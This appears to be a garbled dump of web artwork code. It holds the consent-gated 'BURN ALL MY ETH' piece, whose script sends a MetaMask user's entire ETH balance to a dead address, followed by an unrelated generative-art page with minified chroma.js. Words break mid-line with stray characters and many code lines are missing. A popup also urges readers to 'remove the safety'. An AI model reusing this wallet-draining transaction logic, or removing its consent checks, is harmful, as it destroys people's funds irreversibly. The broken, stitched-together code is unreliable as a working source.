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" id="ethburnanimation"/>
<button id="burn">BURN ALL MY ETH</button>
<div class="alert" id="security">
<p>ERROR <span class="yellow">Safety is enabled.</span></p>
<p>The host or browser enabled sandboxing protection. This is expected behavior for most marketplaces and listings.</p>
<p>Please view this artwork from here instead: <a hrM
ef="https://dadabots.com/burnallmyeth/1" target="_blank">dadabots.com/burnallmyeth/100</a></p>
<p>Or host it yourself with safety disabled. </p>
<button id="security1">OK</button>
<button id="security2">STILL NOT WORKING</button>
<div class="alert" id="help">
<p>If it's still not working for you, please reach out to DADABOTS (CJ Carr) and I will get it functioning on your device, or anywhere you are exhibiting this artwork </p>
<p><a href="https://twitter.com/dadabots" target="_bM
lank">@dadabots</a> | <a href="https://dadabots.com" target="_blank">dadabots.com</a></p>
<button id="help1">OK</button>
<button id="help2">ARTIST IS DECEASED</button>
<div class="alert" id="deceased">
<p>If this is the future, and I'm deceased or otherwise incapacitated,
please fix my code. Add shims. Remove the safety. Create a website for viewing this artwork with the intended functionality restored.
  <button id="deceased1">OK :'(</button>
<div class="alert" id="consent">
<p>You will be prompted through MetaMask to submit a txn which will <span class="yellow">burn all ETH</span> in your wallet.</p>
<p>You will lose all that money. This is irreversible. Do you understand?</p>
  <button id="consent1">CANCEL</button>
  <button id="consent2">I UNDERSTAND</button>
<div class="alert" id="wait">
<p style="text-align: center" id="status">...</p>
<div class="alert" id="info">
 class="">0xdaDA00000000000000000000000000000000dEad<br> will be used as the burn address</p>
<p class="">If you are connected to a different EVM network (e.g. testnet, Polygon) you will be prompted to burn that network's default token</p>
  <button id="info1">CANCEL</button>
  <button id="info2">I UNDERSTAND</button>
<div class="alert" id="notfound">
<p>ERROR <span style="yellow">MetaMask</span> was not found in your browser.</p>
<p>Please view this artwork from a browser with MeM
taMask installed</p>
  <button id="notfound1">OK</button>
<div class="alert" id="zerofunds">
<p>ERROR <span class="yellow">Zero Balance</span></p>
<p>Your account has zero balance. Did you already burn it all?</p>
  <button id="zerofunds1">lol</button>
<div class="alert" id="login">
<p>Please login to Metamask and try again</p>
  <button id="login1">OK</button>
<div class="alert" id="nointernet">
 <span class="yellow">Network Connection</span></p>
<p>Could not retreive a gas price from the network. Check your internet.</p>
<p id="framecheckmsg">Are you viewing from sandboxed website? It so, they may have disabled this artwork's outgoing internet</p>
  <button id="nointernet1">CANCEL</button>
  <button id="nointernet2">YES</button>
<div class="alert" id="insufficientbalance">
<p>ERROR <span style="yellow">Insufficient Balance</span></p>
<p>Your account's balance is too low M
to pay the gas to submit the burn txn.</p>
  <button id="insufficientbalance1">CANCEL</button>
<div class="alert" id="complete">
<p style="text-align: center"><span class="yellow"   >Burn complete</span></p>
<p  style="text-align: center" > Account balance: zero.</p>
<p  style="text-align: center"  id="successmessage"></p>
  <button id="complete1">:|</button>
<div class="alert" id="noburn">
<p style="text-alignM
: center" id="failmessage"></p>
  <button id="noburn1">:|</button>
let token_id = 13; //Math.floor(Math.random()*133)+1
let popups = ["info","consent","deceased","help","security","wait",
  "complete","insufficientbalance","nointernet","login","zerofunds","notfound","noburn"];
  return document.getElementById(id)
function open(popup){
  el(popup).style.display = "block"
  for(let i in popups){
    el(id).style.display = "none"
  el("nointernet").style.display = "none"
// close button action
let close_buttons = ["info1","consent1","help1","security1","deceased1","info2",
  "zerofunds1","notfound1","noburn1","nointernet1","complete1"];
for(let id in close_buttons){
  el(close_buttons[id]).onclick = function(){
    el("body").classList.remove("open")
// burn button action
el("burn").onclick = function(){
  el("body").classList.add("opeM
  el("consent").style.display = "block"
el("security2").onclick = function(){
el("help2").onclick = function(){
el("consent2").onclick = function(){
el("info2").onclick = function(){
el("login1").onclick = function(){
el("nointernet2").onclick = function(){
let account, transactionParam, gasPrice, balance, burnvalue;
  console.log("window.ethereum", window.ethereum)
  if(!window.ethereum){
    console.error("No ethereum")
    open("notfound")
  console.log("window.ethereum.isMetaMask", window.ethereum.isMetaMask)
  if (!window.ethereum.isMetaMask) {
    console.warning("No metamask")
    open("notfound")
  el("status").innerHTML = "Fetching gas price..."
  let timeout = setTimeout(function(){
    console.error("Trouble Fetching Gas Price");
    console.log(window.parM
ent.location, window.location)
    if(window.parent.location != window.location){
      open("security")
      open("nointernet")
    clearTimeout(timeout);
  ethereum.request({method: 'eth_gasPrice'})
  .catch((error) => {
    clearTimeout(timeout);
    console.error("eth_gasPrice", error)
    clearTimeout(timeout);
    console.log("gasPrice", gasPrice);
    el("status").innerHTML = "Connecting to wallet..."
    console.log("get M
    ethereum.request({method: 'eth_requestAccounts'})
    .catch((error) => {
      console.error("eth_requestAccounts", error)
      if(error.code==-32002){
        // please login
        el("status").innerHTML = "Please login and ..."
        open("login")
        open("login")
    .then(accounts => {
      account = accounts[0];
      console.log("account", account);
      // get account balance
      el("status").innerHTML = "Retreiving balance..."
      ethereum.request(M
{method: 'eth_getBalance' , params: [account, 'latest']})
      .catch((error) => {
        console.error("getBalance", error)
        el("status").innerHTML = "Could not retreive balance. Check your internet connection."
        //open("login")
      }).then(result => {
        console.log("balance", result);
        balance = result;
        if(balance=="0x0"){
          // balance is zero
          console.error("zero balance")
          open("zerofunds")
          // check if hae enough M
          let txnfee = BigInt(txngas)*BigInt(gasPrice)
          if(txnfee > BigInt(balance)){
            console.error("not enough to pay gas")
            open("insufficientbalance")
            // calculate amount to burn minus txnfee
            // such that afterward the account goes to zero without dust
            burnvalue = (BigInt(balance) - (BigInt(txngas)*BigInt(gasPrice)))
            burnvalue = "0x" + burnvalue.toString(16)
            console.log("burnvalue", burnvalue)
         // build burn transaction
            transactionParam = {
              to: '0xdaDA00000000000000000000000000000000dEad',
              from: account,
              value: burnvalue,
              gasPrice: gasPrice
            el("status").innerHTML = burnconfirm
            ethereum.request({method: 'eth_sendTransaction', params:[transactionParam]})
            .catch((error) => {
              console.error("eth_sendTransaction", error)
              if(error.code==4001){
   // user denied txn
                console.log("user denied txn")
                el("status").innerHTML = "There shall be no burn this day."
                open("noburn")
              }else{
                el("status").innerHTML = "Txn error"
              throw new Error('');
            .then(txhash => {
              console.log("txnhash", txhash);
              if(txhash===undefined){
                // no txn
                console.error("no txn")
              }else{
              checkTransactionconfirmation(txhash)
function checkTransactionconfirmation(txhash) {
  let checkTransactionLoop = () => {
    return ethereum.request({method:'eth_getTransactionReceipt',params:[txhash]}).then(r => {
        console.log(r);
        el("status").innerHTML = "Success..."
        open("complete")
        el("status").innerHTML = "Burning all your ETH..."
    return checkTransactionLoop();
  return checkTransactionLoop();
function sfc32(a, b, c, d) {
    return function() {
      a >>>= 0; b >>>= 0; c >>>= 0; d >>>= 0;
      var t = (a + b) | 0;
      a = b ^ b >>> 9;
      b = c + (c << 3) | 0;
      c = (c << 21 | c >>> 11);
      d = d + 1 | 0;
      t = t + d | 0;
      c = c + t | 0;
      return (t >>> 0) / 4294967296;
var seed = 1337 ^ (0xDEADBEEF)
var pseudorandom = sfc32(0x9E3779B9, 0x243F6A88, 0M
xB7E15162, seed+token_id);
// waiting for user to confirm burn txn
let msgs0 = ["In parkour, there's a philosophical mindset one develops with onself, standing at the edge of a rooftop, contemplating the leap across the void, over the infinity of the bottomless pit, to the building across.", "To stand at the precipise...","To contemplate the choice of annihilation...","Confirm the burn","Over the infinity of the bottomless pit"]
let msgs1 = ["You masochistic weirdo", "The gods smile upon youM
let msgs2 = ["There shall be no burn today", "Alas the fear too great",
for(let _=0;_<15;_++){
let mr0 = Math.floor(pseudorandom()*msgs0.length)
let mr1 = Math.floor(pseudorandom()*msgs1.length)
let mr2 = Math.floor(pseudorandom()*msgs2.length)
let burnconfirm= msgs0[mr0]
console.log(token_id, mr0,mr1,mr2)
el("successmessage").innerHTML = msgs1[mr1]
el("failmessage").innerHTML = msgs2[mr2]
let srmult = 0.5 * pseudorandom() M
let r1 = pseudorandom()
let r2 = pseudorandom()
let r3 = pseudorandom()
let r4 = pseudorandom()
let r5 = pseudorandom()
let rtri = pseudorandom()
let rsin = pseudorandom()
let rfilf = pseudorandom()
let rfilq = pseudorandom()
const audioContext = new AudioContext({
  sampleRate: 32000 * srmult
var bufferSize = 512;
var whiteNoise = audioContext.createScriptProcessor(bufferSize, 1, 1);
whiteNoise.onaudioprocess = function(e) {
    var output = e.outputBuffer.getChannelData(0);
; i < bufferSize; i++) {
        /*let d = 1.04
        output[i] = (Math.floor(Math.random()*d)/d) * 2 - 1;*/
        if(Math.random()<0.0003){ n1 = -1 }else{ n1 = 1 }
        if(Math.random()<0.001){ n2 = -1 }else{ n2 = 1 }
        if(Math.random()<0.003){ n3 = -1 }else{ n3 = 1 }
        if(Math.random()<0.01){ n4 = -1 }else{ n4 = 1 }
        if(Math.random()<0.03){ n5 = -1 }else{ n5 = 1 }
        //y /= (i%500)/8000*2
        tri = (t/360*1.4/srmult % Math.PI)*0.0005*rtri
        sin = rsin*Math.sin(t/360*1.4 / M
        output[i] = (n1*0.5*r1 + n2*0.3*r2 + n3*0.1*r3 + n4*0.01*r4 + n5*0.004*r5)*0.1 * sin + tri
        if(rfilf<.1){
          output[i] *= 5
        }else if(rfilf<.2){
          output[i] *= 3
        }else if(rfilf<.3){
          output[i] *= 2
// parameterized filter
var filter = audioContext.createBiquadFilter();
filter.frequency.value = 200 * Math.pow(2,rfilf*9)
filter.Q.value = 0.5 + 5*rfilq;
var filter2 = audioContext.createBiquaM
filter2.frequency.value = 4000
filter2.Q.value = 0.1
var volume = audioContext.createGain();
volume.gain.value = 1.0;
whiteNoise.connect(filter);
filter.connect(filter2);
filter2.connect(volume);
volume.connect(audioContext.destination)
function unsuspend(){
  // check if context is in suspended state (autoplay policy)
  if (audioContext.state === 'suspended') {
    audioContext.resume();
document.body.addEventListener("touchstart", unsuspend, false);
addEventListener("touchmove", unsuspend, false);
document.body.addEventListener("mousedown", unsuspend, false);
document.body.addEventListener("mouseclick", unsuspend, false);
text/html;charset=utf-8
      display: block;
    <meta charset="utf-8" />
    let seed=window.location.href.split('/').find(t=>t.includes('i0'));
    if (seed == null) {
      seed = new URLSearchParams(window.location.search).get("seed");
      let pattern = "seed=";
      for(let i = 0; i < seed.length - pattern.length; M
        if (seed.substring(i, i + pattern.length) == pattern) {
          seed = seed.substring(i + pattern.length);
    function cyrb128($) {
      let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762;
      for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179);
      return _ = Math.imul(i ^ _ >>> 18,M
 597399067), u = Math.imul(l ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0]
    function sfc32($, _, u, i) {
      return function () {
        u >>>= 0, i >>>= 0;
        var l = ($ >>>= 0) + (_ >>>= 0) | 0;
        return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296
 sfc32(...cyrb128(seed));
    let p5seed = Math.floor(mathRand() * Number.MAX_SAFE_INTEGER);
!function(r,e){"object"==typeof exports&&"undefined"!=typeof module?module.exports=e():"function"==typeof define&&define.amd?define(e):(r="undefined"!=typeof globalThis?globalThis:r||self).chroma=e()}(this,function(){"use strict";for(var r=function(r,e,t){return void 0===e&&(e=0),void 0===t&&(t=1),r<e?e:r>t?t:r},e=r,t={},n=0,a=["Boolean","Number","String","Function","Array","Date","RegExp","Undefined","Null"];n<a.length;nM
+=1){var f=a[n];t["[object "+f+"]"]=f.toLowerCase()}var o=function(r){return t[Object.prototype.toString.call(r)]||"object"},c=o,u=o,i=Math.PI,l={clip_rgb:function(r){r._clipped=!1,r._unclipped=r.slice(0);for(var t=0;t<=3;t++)t<3?((r[t]<0||r[t]>255)&&(r._clipped=!0),r[t]=e(r[t],0,255)):3===t&&(r[t]=e(r[t],0,1));return r},limit:r,type:o,unpack:function(r,e){return void 0===e&&(e=null),r.length>=3?Array.prototype.slice.call(r):"object"==c(r[0])&&e?e.split("").filter(function(e){return void 0!==r[0][e]}).map(function(M
e){return r[0][e]}):r[0]},last:function(r){if(r.length<2)return null;var e=r.length-1;return"string"==u(r[e])?r[e].toLowerCase():null},PI:i,TWOPI:2*i,PITHIRD:i/3,DEG2RAD:i/180,RAD2DEG:180/i},d={format:{},autodetect:[]},h=l.last,b=l.clip_rgb,s=l.type,p=d,g=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if("object"===s(r[0])&&r[0].constructor&&r[0].constructor===this.constructor)return r[0];var t=h(r),n=!1;if(!t){n=!0,p.sorted||(p.autodetect=p.autodetect.sort(function(r,e){return e.p-r.p}),p.sortedM
=!0);for(var a=0,f=p.autodetect;a<f.length;a+=1){var o=f[a];if(t=o.test.apply(o,r))break}}if(!p.format[t])throw new Error("unknown format: "+r);var c=p.format[t].apply(null,n?r:r.slice(0,-1));this._rgb=b(c),3===this._rgb.length&&this._rgb.push(1)};g.prototype.toString=function(){return"function"==s(this.hex)?this.hex():"["+this._rgb.join(",")+"]"};var v=g,y=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(y.Color,[null].concat(r)))};y.Color=v,y.version="2.4.M
2";var m=y,k=l.unpack,w=Math.max,M=l.unpack,_=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=M(r,"cmyk"))[0],n=r[1],a=r[2],f=r[3],o=r.length>4?r[4]:1;return 1===f?[0,0,0,o]:[t>=1?0:255*(1-t)*(1-f),n>=1?0:255*(1-n)*(1-f),a>=1?0:255*(1-a)*(1-f),o]},N=m,F=v,x=d,P=l.unpack,R=l.type,G=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=k(r,"rgb"),n=t[0],a=t[1],f=t[2],o=1-w(n/=255,w(a/=255,f/=255)),c=o<1?1/(1-o):0;return[(1-n-o)*c,(1-a-o)*c,(1-f-o)*c,o]};F.prototype.cmyk=fuM
nction(){return G(this._rgb)},N.cmyk=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(F,[null].concat(r,["cmyk"])))},x.format.cmyk=_,x.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=P(r,"cmyk"),"array"===R(r)&&4===r.length)return"cmyk"}});var j=l.unpack,E=l.last,O=function(r){return Math.round(100*r)/100},q=l.unpack,B=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=q(r,"rgba"))[0],nM
=r[1],a=r[2];t/=255,n/=255,a/=255;var f,o,c=Math.min(t,n,a),u=Math.max(t,n,a),i=(u+c)/2;return u===c?(f=0,o=Number.NaN):f=i<.5?(u-c)/(u+c):(u-c)/(2-u-c),t==u?o=(n-a)/(u-c):n==u?o=2+(a-t)/(u-c):a==u&&(o=4+(t-n)/(u-c)),(o*=60)<0&&(o+=360),r.length>3&&void 0!==r[3]?[o,f,i,r[3]]:[o,f,i]},I=l.unpack,A=l.last,D=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=j(r,"hsla"),n=E(r)||"lsa";return t[0]=O(t[0]||0),t[1]=O(100*t[1])+"%",t[2]=O(100*t[2])+"%","hsla"===n||t.length>3&&t[3]<1?(t[3]=t.length>3?t[M
3]:1,n="hsla"):t.length=3,n+"("+t.join(",")+")"},C=B,Y=Math.round,S=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=I(r,"rgba"),n=A(r)||"rgb";return"hsl"==n.substr(0,3)?D(C(t),n):(t[0]=Y(t[0]),t[1]=Y(t[1]),t[2]=Y(t[2]),("rgba"===n||t.length>3&&t[3]<1)&&(t[3]=t.length>3?t[3]:1,n="rgba"),n+"("+t.slice(0,"rgb"===n?3:4).join(",")+")")},L=l.unpack,$=Math.round,T=function(){for(var r,e=[],t=arguments.length;t--;)e[t]=arguments[t];var n,a,f,o=(e=L(e,"hsl"))[0],c=e[1],u=e[2];if(0===c)n=a=f=255*u;elsM
e{var i=[0,0,0],l=[0,0,0],d=u<.5?u*(1+c):u+c-u*c,h=2*u-d,b=o/360;i[0]=b+1/3,i[1]=b,i[2]=b-1/3;for(var s=0;s<3;s++)i[s]<0&&(i[s]+=1),i[s]>1&&(i[s]-=1),6*i[s]<1?l[s]=h+6*(d-h)*i[s]:2*i[s]<1?l[s]=d:3*i[s]<2?l[s]=h+(d-h)*(2/3-i[s])*6:l[s]=h;n=(r=[$(255*l[0]),$(255*l[1]),$(255*l[2])])[0],a=r[1],f=r[2]}return e.length>3?[n,a,f,e[3]]:[n,a,f,1]},K=T,W=d,X=/^rgb\(\s*(-?\d+),\s*(-?\d+)\s*,\s*(-?\d+)\s*\)$/,Z=/^rgba\(\s*(-?\d+),\s*(-?\d+)\s*,\s*(-?\d+)\s*,\s*([01]|[01]?\.\d+)\)$/,H=/^rgb\(\s*(-?\d+(?:\.\d+)?)%,\s*(-?\d+(?:\.\M
d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*\)$/,z=/^rgba\(\s*(-?\d+(?:\.\d+)?)%,\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*,\s*([01]|[01]?\.\d+)\)$/,U=/^hsl\(\s*(-?\d+(?:\.\d+)?),\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*\)$/,V=/^hsla\(\s*(-?\d+(?:\.\d+)?),\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*,\s*([01]|[01]?\.\d+)\)$/,J=Math.round,Q=function(r){var e;if(r=r.toLowerCase().trim(),W.format.named)try{return W.format.named(r)}catch(r){}if(e=r.match(X)){for(var t=e.slice(1,4),n=0;n<3;n++)t[n]=+t[n];returnM
 t[3]=1,t}if(e=r.match(Z)){for(var a=e.slice(1,5),f=0;f<4;f++)a[f]=+a[f];return a}if(e=r.match(H)){for(var o=e.slice(1,4),c=0;c<3;c++)o[c]=J(2.55*o[c]);return o[3]=1,o}if(e=r.match(z)){for(var u=e.slice(1,5),i=0;i<3;i++)u[i]=J(2.55*u[i]);return u[3]=+u[3],u}if(e=r.match(U)){var l=e.slice(1,4);l[1]*=.01,l[2]*=.01;var d=K(l);return d[3]=1,d}if(e=r.match(V)){var h=e.slice(1,4);h[1]*=.01,h[2]*=.01;var b=K(h);return b[3]=+e[4],b}};Q.test=function(r){return X.test(r)||Z.test(r)||H.test(r)||z.test(r)||U.test(r)||V.test(r)M
};var rr=m,er=v,tr=d,nr=l.type,ar=S,fr=Q;er.prototype.css=function(r){return ar(this._rgb,r)},rr.css=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(er,[null].concat(r,["css"])))},tr.format.css=fr,tr.autodetect.push({p:5,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===nr(r)&&fr.test(r))return"css"}});var or=v,cr=m,ur=l.unpack;d.format.gl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e]M
;var t=ur(r,"rgba");return t[0]*=255,t[1]*=255,t[2]*=255,t},cr.gl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(or,[null].concat(r,["gl"])))},or.prototype.gl=function(){var r=this._rgb;return[r[0]/255,r[1]/255,r[2]/255,r[3]]};var ir=l.unpack,lr=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n=ir(r,"rgb"),a=n[0],f=n[1],o=n[2],c=Math.min(a,f,o),u=Math.max(a,f,o),i=u-c,l=100*i/255,d=c/(255-i)*100;return 0===i?t=Number.NaN:(a===u&&(t=M
(f-o)/i),f===u&&(t=2+(o-a)/i),o===u&&(t=4+(a-f)/i),(t*=60)<0&&(t+=360)),[t,l,d]},dr=l.unpack,hr=Math.floor,br=function(){for(var r,e,t,n,a,f,o=[],c=arguments.length;c--;)o[c]=arguments[c];var u,i,l,d=(o=dr(o,"hcg"))[0],h=o[1],b=o[2];b*=255;var s=255*h;if(0===h)u=i=l=b;else{360===d&&(d=0),d>360&&(d-=360),d<0&&(d+=360);var p=hr(d/=60),g=d-p,v=b*(1-h),y=v+s*(1-g),m=v+s*g,k=v+s;switch(p){case 0:u=(r=[k,m,v])[0],i=r[1],l=r[2];break;case 1:u=(e=[y,k,v])[0],i=e[1],l=e[2];break;case 2:u=(t=[v,k,m])[0],i=t[1],l=t[2];break;cM
ase 3:u=(n=[v,y,k])[0],i=n[1],l=n[2];break;case 4:u=(a=[m,v,k])[0],i=a[1],l=a[2];break;case 5:u=(f=[k,v,y])[0],i=f[1],l=f[2]}}return[u,i,l,o.length>3?o[3]:1]},sr=l.unpack,pr=l.type,gr=m,vr=v,yr=d,mr=lr;vr.prototype.hcg=function(){return mr(this._rgb)},gr.hcg=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(vr,[null].concat(r,["hcg"])))},yr.format.hcg=br,yr.autodetect.push({p:1,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=sr(r,"M
hcg"),"array"===pr(r)&&3===r.length)return"hcg"}});var kr=l.unpack,wr=l.last,Mr=Math.round,_r=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=kr(r,"rgba"),n=t[0],a=t[1],f=t[2],o=t[3],c=wr(r)||"auto";void 0===o&&(o=1),"auto"===c&&(c=o<1?"rgba":"rgb");var u="000000"+((n=Mr(n))<<16|(a=Mr(a))<<8|(f=Mr(f))).toString(16);u=u.substr(u.length-6);var i="0"+Mr(255*o).toString(16);switch(i=i.substr(i.length-2),c.toLowerCase()){case"rgba":return"#"+u+i;case"argb":return"#"+i+u;default:return"#"+u}},Nr=/M
^#?([A-Fa-f0-9]{6}|[A-Fa-f0-9]{3})$/,Fr=/^#?([A-Fa-f0-9]{8}|[A-Fa-f0-9]{4})$/,xr=function(r){if(r.match(Nr)){4!==r.length&&7!==r.length||(r=r.substr(1)),3===r.length&&(r=(r=r.split(""))[0]+r[0]+r[1]+r[1]+r[2]+r[2]);var e=parseInt(r,16);return[e>>16,e>>8&255,255&e,1]}if(r.match(Fr)){5!==r.length&&9!==r.length||(r=r.substr(1)),4===r.length&&(r=(r=r.split(""))[0]+r[0]+r[1]+r[1]+r[2]+r[2]+r[3]+r[3]);var t=parseInt(r,16);return[t>>24&255,t>>16&255,t>>8&255,Math.round((255&t)/255*100)/100]}throw new Error("unknown hex coM
lor: "+r)},Pr=m,Rr=v,Gr=l.type,jr=d,Er=_r;Rr.prototype.hex=function(r){return Er(this._rgb,r)},Pr.hex=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Rr,[null].concat(r,["hex"])))},jr.format.hex=xr,jr.autodetect.push({p:4,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===Gr(r)&&[3,4,5,6,7,8,9].indexOf(r.length)>=0)return"hex"}});var Or=l.unpack,qr=l.TWOPI,Br=Math.min,Ir=Math.sqrt,Ar=Math.acos,Dr=functionM
